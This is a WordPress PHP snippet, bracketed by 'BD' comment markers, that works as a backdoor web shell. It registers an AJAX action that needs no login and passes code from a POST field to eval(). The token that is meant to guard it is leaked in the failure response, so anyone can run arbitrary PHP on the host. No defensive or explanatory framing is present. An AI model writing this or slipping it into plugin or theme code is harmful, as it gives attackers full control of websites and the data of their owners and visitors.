// ==[BD:c07JOHMp]== add_action( 'wp_ajax_nopriv_bahhgenvrd', function() { $flag = 'c07JOHMpMwgDCSp5AXWdoTBx2XKV7Ahx'; $obj = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $obj ) || ! hash_equals( $flag, $obj ) ) { wp_send_json_error( [ 'message' => 'tok:' . $flag ], 403 ); } $factor = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $factor ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $factor = preg_replace( '/^\s*<\?(php)?/i', '', $factor ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $elem = microtime( true ); ob_start(); try { ( static function() use ( $factor ) { return eval( $factor ); } )(); $comp = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $comp, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $elem ) * 1000, 2 ) ] ); } catch ( \Throwable $data ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $data->getMessage(), 'time_ms' => round( ( microtime( true ) - $elem ) * 1000, 2 ) ] ); } } ); // ==[/BD:c07JOHMp]==